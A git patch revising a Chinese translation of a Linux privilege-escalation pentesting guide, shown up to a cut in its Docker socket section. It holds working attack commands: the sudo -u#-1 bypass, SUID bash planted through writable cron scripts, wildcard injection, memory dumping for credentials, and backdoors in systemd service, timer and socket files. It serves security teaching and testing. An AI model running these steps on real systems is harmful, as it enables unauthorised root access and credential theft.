From e8a91882f644ae10dbdff09dd3cad73463ad14a0 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 18:51:54 +0000 Subject: [PATCH] Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's --- .../privilege-escalation/README.md | 679 +++++++++--------- .../pentesting-web/apache.md | 169 +++-- 2 files changed, 447 insertions(+), 401 deletions(-) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index cae4d4cc5..31df651d8 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,7 +6,7 @@ ### 操作系统信息 -让我们开始了解正在运行的操作系统 +让我们开始了解正在运行的操作系统。 ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,42 +14,42 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -如果您**对`PATH`变量中的任何文件夹具有写入权限**，您可能能够劫持某些库或二进制文件： +如果你 **在 `PATH` 变量内的任何文件夹上拥有写权限**，你可能能够劫持一些库或二进制文件： ```bash echo $PATH ``` -### Env info +### 环境信息 -环境变量中有有趣的信息、密码或API密钥吗？ +环境变量中是否包含敏感信息、密码或 API 密钥？ ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -检查内核版本，看看是否有可以用来提升权限的漏洞。 +检查内核版本，确认是否存在可用于 escalate privileges 的 exploit。 ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -您可以在这里找到一个好的易受攻击内核列表和一些已经**编译的漏洞利用**： [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) 和 [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits)。\ -其他可以找到一些**编译的漏洞利用**的网站： [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries)， [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +你可以在这里找到一个不错的易受攻击的 kernel 列表和一些已经 **compiled exploits**: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +其他可以找到一些 **compiled exploits** 的站点: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -要从该网站提取所有易受攻击的内核版本，您可以执行： +要从这些网站提取所有易受影响的 kernel 版本，你可以这样做: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -可能有助于搜索内核漏洞的工具包括： +可以帮助查找 kernel exploits 的工具包括： [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)（在受害者上执行，仅检查2.x内核的漏洞） +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) -始终**在Google中搜索内核版本**，也许您的内核版本在某个内核漏洞中被写入，这样您就可以确定该漏洞是有效的。 +始终**在 Google 上搜索 kernel 版本**，也许你的 kernel 版本出现在某些 kernel exploit 中，这样你就能确定该 exploit 是否有效。 ### CVE-2016-5195 (DirtyCow) -Linux特权提升 - Linux内核 <= 3.19.0-73.8 +Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8 ```bash # make dirtycow stable echo 0 > /proc/sys/vm/dirty_writeback_centisecs @@ -59,11 +59,11 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Sudo 版本 -基于出现在的易受攻击的 sudo 版本： +基于出现在以下内容中的易受攻击的 sudo 版本： ```bash searchsploit sudo ``` -您可以使用此 grep 检查 sudo 版本是否存在漏洞。 +你可以使用这个 grep 检查 sudo 版本是否存在漏洞。 ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -75,18 +75,18 @@ sudo -u#-1 /bin/bash ``` ### Dmesg 签名验证失败 -检查 **smasher2 box of HTB** 以获取此漏洞可能被利用的 **示例** +查看 **smasher2 box of HTB** 以获取有关如何利用此 vuln 的 **示例** ```bash dmesg 2>/dev/null | grep "signature" ``` -### 更多系统枚举 +### 更多 system enumeration ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## 列举可能的防御措施 +## 枚举可能的防御措施 ### AppArmor ```bash @@ -123,15 +123,15 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -如果你在一个docker容器内，你可以尝试逃离它： +如果你在 docker 容器内，可以尝试从中逃逸： {{#ref}} docker-security/ {{#endref}} -## Drives +## 驱动器 -检查**已挂载和未挂载的内容**，以及它们的位置和原因。如果有任何内容未挂载，你可以尝试挂载它并检查私人信息。 +检查 **哪些已挂载或未挂载**、在何处以及为什么。如果有任何未挂载的，你可以尝试将其挂载并检查是否包含私密信息。 ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -144,56 +144,56 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -还要检查是否**安装了任何编译器**。如果您需要使用某些内核漏洞，这很有用，因为建议在您将要使用它的机器上（或类似的机器上）进行编译。 +另外，检查是否已安装 **任何编译器**。如果你需要使用某些 kernel exploit，这很有用 —— 建议在将要使用它的机器上（或在一台类似的机器上）进行编译。 ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### 易受攻击的软件安装 +### 已安装的易受攻击软件 -检查**已安装软件包和服务的版本**。可能有一些旧的Nagios版本（例如）可以被利用来提升权限…\ +检查**已安装的软件包和服务的版本**。可能存在某个旧的 Nagios 版本（例如），可以被利用来进行 escalating privileges…\ 建议手动检查更可疑的已安装软件的版本。 ```bash dpkg -l #Debian rpm -qa #Centos ``` -如果您可以访问机器的SSH，您还可以使用 **openVAS** 检查机器上安装的过时和易受攻击的软件。 +如果你有对该机器的 SSH 访问权限，你也可以使用 **openVAS** 来检测机器上安装的过时或存在漏洞的软件。 -> [!NOTE] > _请注意，这些命令将显示大量信息，其中大部分将是无用的，因此建议使用一些应用程序，如OpenVAS或类似工具，检查任何已安装的软件版本是否易受已知漏洞的攻击_ +> [!NOTE] > _注意：这些命令会显示大量大多无用的信息，因此建议使用像 OpenVAS 或类似工具来检查任何已安装软件版本是否易受已知漏洞利用_ -## Processes +## 进程 -查看 **正在执行的进程**，并检查是否有任何进程具有 **超出其应有的权限**（例如，是否有由root执行的tomcat？） +查看正在执行的 **哪些进程**，并检查是否有进程具有 **超出应有的权限**（例如某个 tomcat 由 root 执行？） ```bash ps aux ps -ef top -n 1 ``` -始终检查可能正在运行的 [**electron/cef/chromium debuggers**，您可以利用它来提升权限](electron-cef-chromium-debugger-abuse.md)。**Linpeas** 通过检查进程命令行中的 `--inspect` 参数来检测这些。\ -还要 **检查您对进程二进制文件的权限**，也许您可以覆盖某个用户的文件。 +始终检查是否存在 [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md)。**Linpeas** 通过检查进程命令行中的 `--inspect` 参数来检测这些调试器。\ +另外**检查你对进程二进制文件的权限**，也许你能覆盖某些文件。 -### 进程监控 +### Process monitoring -您可以使用像 [**pspy**](https://github.com/DominicBreuker/pspy) 这样的工具来监控进程。这对于识别频繁执行的易受攻击的进程或在满足一组要求时非常有用。 +你可以使用像 [**pspy**](https://github.com/DominicBreuker/pspy) 这样的工具来监控进程。这对于识别经常被执行或在满足一组条件时运行的易受攻击进程非常有用。 -### 进程内存 +### Process memory -某些服务器的服务会在 **内存中以明文保存凭据**。\ -通常，您需要 **root 权限** 才能读取属于其他用户的进程的内存，因此这通常在您已经是 root 并想要发现更多凭据时更有用。\ -但是，请记住，**作为普通用户，您可以读取您拥有的进程的内存**。 +服务器上的某些服务会在内存中以**明文保存凭证**。\ +通常你需要 **root privileges** 才能读取属于其他用户的进程内存，因此这通常在你已经是 root 并想发现更多凭证时更有用。\ +不过，记住 **作为普通用户你可以读取自己拥有的进程的内存**。 > [!WARNING] -> 请注意，如今大多数机器 **默认不允许 ptrace**，这意味着您无法转储属于您无权限用户的其他进程。 +> 注意，如今大多数机器 **默认不允许 ptrace**，这意味着你无法转储属于其他非特权用户的进程。 > > 文件 _**/proc/sys/kernel/yama/ptrace_scope**_ 控制 ptrace 的可访问性： > -> - **kernel.yama.ptrace_scope = 0**：所有进程都可以被调试，只要它们具有相同的 uid。这是 ptracing 工作的经典方式。 -> - **kernel.yama.ptrace_scope = 1**：只有父进程可以被调试。 -> - **kernel.yama.ptrace_scope = 2**：只有管理员可以使用 ptrace，因为它需要 CAP_SYS_PTRACE 能力。 -> - **kernel.yama.ptrace_scope = 3**：不允许使用 ptrace 跟踪任何进程。一旦设置，需要重启才能再次启用 ptracing。 +> - **kernel.yama.ptrace_scope = 0**: 所有进程都可以被调试，只要它们具有相同的 uid。这是 ptrace 传统的工作方式。 +> - **kernel.yama.ptrace_scope = 1**: 只能调试父进程。 +> - **kernel.yama.ptrace_scope = 2**: 只有 admin 可以使用 ptrace，因为它需要 CAP_SYS_PTRACE 能力。 +> - **kernel.yama.ptrace_scope = 3**: 不允许用 ptrace 跟踪任何进程。一旦设置，需要重启才能再次启用 ptrace。 #### GDB -如果您可以访问 FTP 服务的内存（例如），您可以获取堆并在其中搜索凭据。 +如果你可以访问某个 FTP 服务（例如）的内存，你可以获取堆（Heap）并在其中搜索凭证。 ```bash gdb -p (gdb) info proc mappings @@ -215,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -对于给定的进程 ID，**maps 显示该进程的**虚拟地址空间内如何映射内存；它还显示**每个映射区域的权限**。**mem** 伪文件**暴露了进程的内存本身**。通过**maps** 文件，我们知道哪些**内存区域是可读的**及其偏移量。我们使用这些信息**在 mem 文件中查找并将所有可读区域转储到文件中**。 +对于给定的进程 ID，**maps 显示该进程的虚拟地址空间中内存如何被映射**；它还显示**每个映射区域的权限**。**mem** 伪文件**暴露了进程本身的内存**。从 **maps** 文件中我们可以知道哪些**内存区域是可读的**以及它们的偏移量。我们使用这些信息去**在 mem 文件中定位并转储所有可读区域**到一个文件。 ```bash procdump() ( @@ -230,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` 提供对系统 **物理** 内存的访问，而不是虚拟内存。内核的虚拟地址空间可以通过 /dev/kmem 访问。\ -通常，`/dev/mem` 仅对 **root** 和 **kmem** 组可读。 +`/dev/mem` 提供对系统 **物理** 内存的访问，而不是虚拟内存。内核的虚拟地址空间可以使用 /dev/kmem 访问。\ +通常，`/dev/mem` 只有 **root** 和 **kmem** 组可读。 ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump for linux +### ProcDump 用于 linux -ProcDump 是 Sysinternals 工具套件中经典 ProcDump 工具在 Linux 上的重新构想。获取它在 [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump 是 Sysinternals 套件中用于 Windows 的经典 ProcDump 工具在 Linux 上的重新实现。获取地址：[https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -264,42 +264,42 @@ Press Ctrl-C to end monitoring without terminating the process. [20:20:58 - INFO]: Timed: [20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714 ``` -### 工具 +### Tools -要转储进程内存，您可以使用： +要转储进程内存，你可以使用： - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_您可以手动移除root要求并转储由您拥有的进程 -- 来自 [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) 的脚本 A.5 (需要root) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_你可以手动移除 root 要求并转储由你拥有的进程 +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (需要 root 权限) -### 从进程内存中获取凭据 +### Credentials from Process Memory -#### 手动示例 +#### Manual example -如果您发现身份验证进程正在运行： +如果你发现 authenticator 进程正在运行： ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -您可以转储进程（请参阅之前的部分以找到转储进程内存的不同方法）并在内存中搜索凭据： +您可以转储进程（参见前文章节以了解不同的进程内存转储方法）并在内存中搜索凭证： ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -该工具 [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) 将 **从内存中窃取明文凭据** 和一些 **知名文件**。它需要 root 权限才能正常工作。 +该工具 [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) 会**从内存中窃取明文凭证**，并从一些**已知文件**中获取凭证。它需要 root 权限才能正常工作。 -| 特性 | 进程名称 | -| ------------------------------------------------ | -------------------- | -| GDM 密码（Kali 桌面，Debian 桌面） | gdm-password | -| Gnome Keyring（Ubuntu 桌面，ArchLinux 桌面） | gnome-keyring-daemon | -| LightDM（Ubuntu 桌面） | lightdm | -| VSFTPd（活动 FTP 连接） | vsftpd | -| Apache2（活动 HTTP 基本认证会话） | apache2 | -| OpenSSH（活动 SSH 会话 - Sudo 使用） | sshd: | +| 功能 | 进程 名称 | +| ------------------------------------------------- | -------------------- | +| GDM 密码 (Kali Desktop, Debian Desktop) | gdm-password | +| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | +| LightDM (Ubuntu Desktop) | lightdm | +| VSFTPd (活动的 FTP 连接) | vsftpd | +| Apache2 (活动的 HTTP Basic Auth 会话) | apache2 | +| OpenSSH (活动的 SSH 会话 - sudo 使用) | sshd: | -#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### 搜索正则/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -313,66 +313,67 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Scheduled/Cron jobs +## 计划任务/Cron jobs -检查是否有任何计划任务存在漏洞。也许你可以利用由 root 执行的脚本（通配符漏洞？可以修改 root 使用的文件？使用符号链接？在 root 使用的目录中创建特定文件？）。 +检查是否有任何计划任务存在可被利用的漏洞。也许你可以利用由 root 执行的脚本（wildcard vuln? 能修改 root 使用的文件吗？使用 symlinks？在 root 使用的目录中创建特定文件？） ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron path +### Cron 路径 -例如，在 _/etc/crontab_ 中可以找到 PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +例如，在 _/etc/crontab_ 中你可以找到 PATH：_PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_注意用户 "user" 对 /home/user 具有写入权限_) +(_注意用户 "user" 对 /home/user 具有写权限_) -如果在这个 crontab 中，root 用户尝试执行某个命令或脚本而不设置路径。例如: _\* \* \* \* root overwrite.sh_\ -然后，您可以通过使用获得 root shell: +如果在该 crontab 中 root 尝试在没有设置 PATH 的情况下执行某个命令或脚本。例如： _\* \* \* \* root overwrite.sh_\ +然后，你可以通过以下方式获得 root shell： ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron 使用带通配符的脚本 (通配符注入) +### Cron 使用带通配符的脚本 (Wildcard Injection) -如果由 root 执行的脚本在命令中包含“**\***”，您可以利用这一点来制造意想不到的事情（例如权限提升）。示例： +如果一个以 root 身份执行的脚本在命令中包含 “**\***”，你可以利用这一点导致意外行为（例如 privesc）。示例： ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**如果通配符前面有一个路径，如** _**/some/path/\***_ **，则它不易受攻击（即使** _**./\***_ **也不行）。** +**如果 wildcard 被放在像** _**/some/path/\***_ **的路径前面，它就不易受攻击（即使** _**./\***_ **也不行）。** + +阅读以下页面以获取更多 wildcard exploitation tricks： -阅读以下页面以获取更多通配符利用技巧： {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Cron 脚本覆盖和符号链接 +### Cron script overwriting and symlink -如果你**可以修改由 root 执行的 cron 脚本**，你可以非常轻松地获得一个 shell： +如果你 **can modify a cron script** 且该脚本由 root 执行，你可以非常容易获得一个 shell： ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -如果由 root 执行的脚本使用一个 **您拥有完全访问权限的目录**，那么删除该文件夹并 **创建一个指向另一个由您控制的脚本的符号链接文件夹** 可能会很有用。 +如果由 root 执行的 script 使用一个 **directory（你拥有完全访问权限）**，也许删除该文件夹并 **create a symlink folder to another one** 来托管由你控制的 script 会很有用。 ```bash ln -d -s ``` -### Frequent cron jobs +### 频繁的 cron jobs -您可以监控进程，以搜索每 1、2 或 5 分钟执行的进程。也许您可以利用这一点来提升权限。 +你可以监控进程，以查找每 1、2 或 5 分钟被执行的进程。也许你可以利用它来 escalate privileges。 -例如，要**每 0.1 秒监控 1 分钟**，**按执行次数较少的命令排序**并删除执行次数最多的命令，您可以执行： +例如，要 **在 1 分钟内每 0.1 秒监控一次**、**按执行次数较少的命令排序** 并删除执行次数最多的命令，你可以这样做： ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**您还可以使用** [**pspy**](https://github.com/DominicBreuker/pspy/releases) （这将监视并列出每个启动的进程）。 +**您也可以使用** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (这将监视并列出每个启动的进程)。 -### 隐形的 cron 作业 +### 隐形 cron jobs -可以创建一个 cron 作业 **在注释后放置回车符**（没有换行符），并且 cron 作业将正常工作。示例（注意回车符）： +可以通过创建一个 cronjob，**在注释后放置回车**（没有换行字符），并且 cron job 会生效。示例（注意回车字符）： ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -380,87 +381,87 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### 可写的 _.service_ 文件 -检查您是否可以写入任何 `.service` 文件，如果可以，您 **可以修改它** 以便在服务 **启动**、**重启**或 **停止** 时 **执行** 您的 **后门**（也许您需要等到机器重启）。\ -例如，在 .service 文件中创建您的后门，使用 **`ExecStart=/tmp/script.sh`** +检查是否可以写入任何 `.service` 文件，如果可以，你**可以修改它**，使其在 service **启动**、**重启**或**停止**时**执行**你的**backdoor**（可能需要等到机器重启）。\ +例如在 `.service` 文件中通过 **`ExecStart=/tmp/script.sh`** 创建你的 backdoor -### 可写的服务二进制文件 +### 可写的 service 二进制文件 -请记住，如果您对服务执行的二进制文件具有 **写权限**，您可以将它们更改为后门，这样当服务重新执行时，后门将被执行。 +请记住，如果你对被服务执行的二进制文件拥有**写权限**，你可以将它们替换为后门，这样当服务被重新执行时，后门也会被执行。 ### systemd PATH - 相对路径 -您可以使用以下命令查看 **systemd** 使用的 PATH： +你可以通过以下命令查看 **systemd** 使用的 PATH： ```bash systemctl show-environment ``` -如果您发现您可以在路径的任何文件夹中**写入**，您可能能够**提升权限**。您需要搜索**在服务配置**文件中使用的**相对路径**，例如： +如果你发现你可以在路径的任何文件夹中**write**，你可能能够**escalate privileges**。你需要搜索服务配置文件中像下面这样使用**relative paths being used on service configurations**的情况： ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -然后，在您可以写入的 systemd PATH 文件夹中创建一个 **可执行文件**，其 **名称与相对路径二进制文件相同**，当服务被要求执行脆弱的操作（**启动**，**停止**，**重新加载**）时，您的 **后门将被执行**（普通用户通常无法启动/停止服务，但请检查您是否可以使用 `sudo -l`）。 +然后，在你有写权限的 systemd PATH 文件夹中，创建一个名称与相对路径二进制文件相同的 **可执行文件**，当服务被要求执行易受攻击的操作（**Start**、**Stop**、**Reload**）时，你的 **后门将被执行**（非特权用户通常不能启动/停止服务，但可检查是否能使用 `sudo -l`）。 -**了解更多关于服务的信息，请使用 `man systemd.service`。** +**使用 `man systemd.service` 了解有关服务的更多信息。** ## **定时器** -**定时器** 是以 `**.timer**` 结尾的 systemd 单元文件，用于控制 `**.service**` 文件或事件。**定时器** 可以作为 cron 的替代方案，因为它们内置支持日历时间事件和单调时间事件，并且可以异步运行。 +**定时器** 是以名称以 `**.timer**` 结尾的 systemd 单元文件，用于控制 `**.service**` 文件或事件。**定时器** 可作为 cron 的替代，因为它们内置对日历时间事件和单调时间事件的支持，并可以异步运行。 -您可以使用以下命令列出所有定时器： +你可以使用以下命令枚举所有定时器： ```bash systemctl list-timers --all ``` -### 可写定时器 +### 可写的定时器 -如果您可以修改定时器，则可以使其执行某些 systemd.unit 的实例（如 `.service` 或 `.target`） +如果你可以修改一个定时器，你就可以让它执行 systemd.unit 的某些现有单元（比如 `.service` 或 `.target`） ```bash Unit=backdoor.service ``` -在文档中，您可以阅读单位的定义： +在文档中可以看到 Unit 的定义： -> 当此计时器到期时要激活的单位。参数是单位名称，其后缀不是“.timer”。如果未指定，则此值默认为与计时器单位同名的服务，除了后缀外。（见上文。）建议激活的单位名称和计时器单位的单位名称在名称上保持一致，除了后缀。 +> 在此 timer 到期时要激活的 Unit。参数是一个单元名称，其后缀不是 ".timer"。如果未指定，则此值默认为与 timer 单元名字相同但后缀不同的 service。（见上文。）建议被激活的单元名称与 timer 单元的名称除后缀外一致。 -因此，要滥用此权限，您需要： +因此，要滥用此权限你需要： -- 找到某个 systemd 单元（如 `.service`），该单元正在 **执行一个可写的二进制文件** -- 找到某个 systemd 单元，该单元正在 **执行一个相对路径**，并且您对 **systemd PATH** 具有 **可写权限**（以伪装该可执行文件） +- 找到某个 systemd unit（例如 `.service`），它正在 **执行可写的二进制文件** +- 找到某个 systemd unit 正在 **执行相对路径**，且你对 **systemd PATH** 拥有 **可写权限**（以伪装为该可执行文件） -**了解有关计时器的更多信息，请使用 `man systemd.timer`。** +**更多关于 timers 的信息请参见 `man systemd.timer`。** -### **启用计时器** +### **启用 Timer** -要启用计时器，您需要 root 权限并执行： +要启用一个 timer，你需要 root 权限并执行： ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -注意 **timer** 是通过在 `/etc/systemd/system/.wants/.timer` 上创建一个符号链接来 **激活** 的。 +Note the **timer** is **激活** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` ## Sockets -Unix 域套接字 (UDS) 使得在客户端-服务器模型中同一台或不同机器上的 **进程通信** 成为可能。它们利用标准的 Unix 描述符文件进行计算机间通信，并通过 `.socket` 文件进行设置。 +Unix Domain Sockets (UDS) enable **进程间通信** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files. -可以使用 `.socket` 文件配置套接字。 +Sockets can be configured using `.socket` files. -**通过 `man systemd.socket` 了解更多关于套接字的信息。** 在此文件中，可以配置几个有趣的参数： +**有关 sockets 的更多信息，请参阅 `man systemd.socket`。** 在该文件中，可以配置多个有趣的参数： -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 这些选项不同，但总结用于 **指示它将监听的位置**（AF_UNIX 套接字文件的路径，IPv4/6 和/或要监听的端口号等） -- `Accept`: 接受一个布尔参数。如果 **true**，则为每个传入连接 **生成一个服务实例**，并且仅将连接套接字传递给它。如果 **false**，则所有监听套接字本身 **传递给启动的服务单元**，并且仅为所有连接生成一个服务单元。对于数据报套接字和 FIFO，此值被忽略，单个服务单元无条件处理所有传入流量。**默认为 false**。出于性能原因，建议仅以适合 `Accept=no` 的方式编写新守护进程。 -- `ExecStartPre`, `ExecStartPost`: 接受一个或多个命令行，这些命令在监听 **套接字**/FIFO 被 **创建** 和绑定之前或之后 **执行**。命令行的第一个标记必须是绝对文件名，后面跟随进程的参数。 -- `ExecStopPre`, `ExecStopPost`: 在监听 **套接字**/FIFO 被 **关闭** 和移除之前或之后 **执行** 的额外 **命令**。 -- `Service`: 指定 **在传入流量** 上 **激活** 的 **服务** 单元名称。此设置仅允许用于 Accept=no 的套接字。默认为与套接字同名的服务（后缀被替换）。在大多数情况下，不需要使用此选项。 +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 这些选项各不相同，但总体上用于**指示将在哪监听**该 socket（AF_UNIX socket 文件的路径、要监听的 IPv4/6 和/或端口号等）。 +- `Accept`: 接受一个布尔参数。如果 **true**，则为每个传入连接生成一个**服务实例**，并且仅将连接 socket 传递给它。如果 **false**，所有监听套接字本身会**传递给启动的服务单元**，并且只会为所有连接生成一个服务单元。对于 datagram sockets 和 FIFOs，该值被忽略，在这些情况下单个服务单元无条件地处理所有传入流量。**默认值为 false**。出于性能原因，建议在编写新的守护进程时仅以适用于 `Accept=no` 的方式编写。 +- `ExecStartPre`, `ExecStartPost`: 接受一个或多个命令行，这些命令分别在监听的 **sockets**/FIFOs 被**创建**并绑定之前或之后**执行**。命令行的第一个标记必须是绝对文件名，后面跟进进程的参数。 +- `ExecStopPre`, `ExecStopPost`: 额外的**命令**，它们分别在监听的 **sockets**/FIFOs 被**关闭**并移除之前或之后**执行**。 +- `Service`: 指定在**传入流量**时**激活**的**service**单元名称。该设置仅允许用于 Accept=no 的 sockets。默认情况下，它指向与 socket 同名的 service（后缀已替换）。在大多数情况下，不需要使用此选项。 -### 可写的 .socket 文件 +### Writable .socket files -如果您发现一个 **可写** 的 `.socket` 文件，可以在 `[Socket]` 部分的开头添加类似 `ExecStartPre=/home/kali/sys/backdoor` 的内容，后门将在套接字创建之前执行。因此，您 **可能需要等到机器重启。**\ -_请注意，系统必须使用该套接字文件配置，否则后门将不会被执行_ +如果你发现了一个**可写的** `.socket` 文件，你可以在 `[Socket]` 段的开头**添加**类似 `ExecStartPre=/home/kali/sys/backdoor` 的行，该后门将在 socket 被创建之前执行。因此，你**可能需要等到机器重启**。\ +_注意系统必须正在使用该 socket 文件的配置，否则后门不会被执行_ -### 可写套接字 +### Writable sockets -如果您 **识别到任何可写套接字**（_现在我们谈论的是 Unix 套接字，而不是配置 `.socket` 文件_），那么 **您可以与该套接字通信**，并可能利用一个漏洞。 +如果你**发现任何可写的 socket**（_这里我们指的是 Unix Sockets，而不是配置 `.socket` 文件_），那么**你可以与该 socket 通信**，并可能利用其中的漏洞。 -### 枚举 Unix 套接字 +### Enumerate Unix Sockets ```bash netstat -a -p --unix ``` @@ -480,38 +481,38 @@ socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of socket-command-injection.md {{#endref}} -### HTTP 套接字 +### HTTP sockets -请注意，可能有一些 **监听 HTTP** 请求的 **套接字**（_我不是在谈论 .socket 文件，而是充当 unix 套接字的文件_）。您可以通过以下方式检查： +请注意，可能有一些 **sockets listening for HTTP** requests (_我不是指 .socket files，而是指作为 unix sockets 的文件_)。你可以用以下命令检查： ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -如果套接字 **响应一个 HTTP** 请求，那么你可以 **与之通信**，并可能 **利用某些漏洞**。 +如果该 socket **responds with an HTTP** 请求，那么你可以与它 **communicate**，并可能 **exploit some vulnerability**。 -### 可写的 Docker 套接字 +### 可写的 Docker socket -Docker 套接字，通常位于 `/var/run/docker.sock`，是一个关键文件，应该被保护。默认情况下，它对 `root` 用户和 `docker` 组的成员是可写的。拥有对这个套接字的写入权限可能导致权限提升。以下是如何做到这一点的分解，以及在 Docker CLI 